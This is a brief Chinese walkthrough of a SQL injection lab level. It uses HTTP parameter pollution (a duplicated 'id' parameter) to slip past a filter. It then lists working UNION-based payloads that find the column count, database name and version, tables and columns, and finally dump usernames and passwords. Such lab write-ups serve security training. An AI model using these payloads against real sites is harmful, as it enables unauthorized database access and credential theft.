一:HTTP參數污染:
hpp(http parameter pollution)注入中,可以通過在hppt的請求中注入多個同名參數來繞過安全過濾
原理:php默認只取最后一個同名參數?
比如在這一關里,可能對第一個id參數進行消毒處理,但php實際執行的時候使用了第二個沒被消毒的id參數
二:判斷閉合方式
輸入?id=1和?id=1'的時候產生報錯
用兩個參數進行單引號閉合 ,閉合成功
?三:開始攻擊
1.判斷列數:
?id=1&id=1' order by 1,2,3,4--+
?三列
2.爆回顯位:
?id=1&id=-1' union select 1,2,3--+
3.爆數據庫名,版本號
?id=1&id=-1' union select 1,database(),version()--+
4.爆表名,行數
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
?5.爆列名:
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
?6.爆數據
?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users--+
ps1:
在查看源碼和嘗試注入的過程中,發現本關waf的攔截好像并沒有起作用,題目存在誤導性,用布爾檢測和盲注應該也能正常做
ps2:
第三十關把閉合方式改成了雙引號 ” ,第三十一關把閉合方式改成了雙引號括號 “),其余全部相同?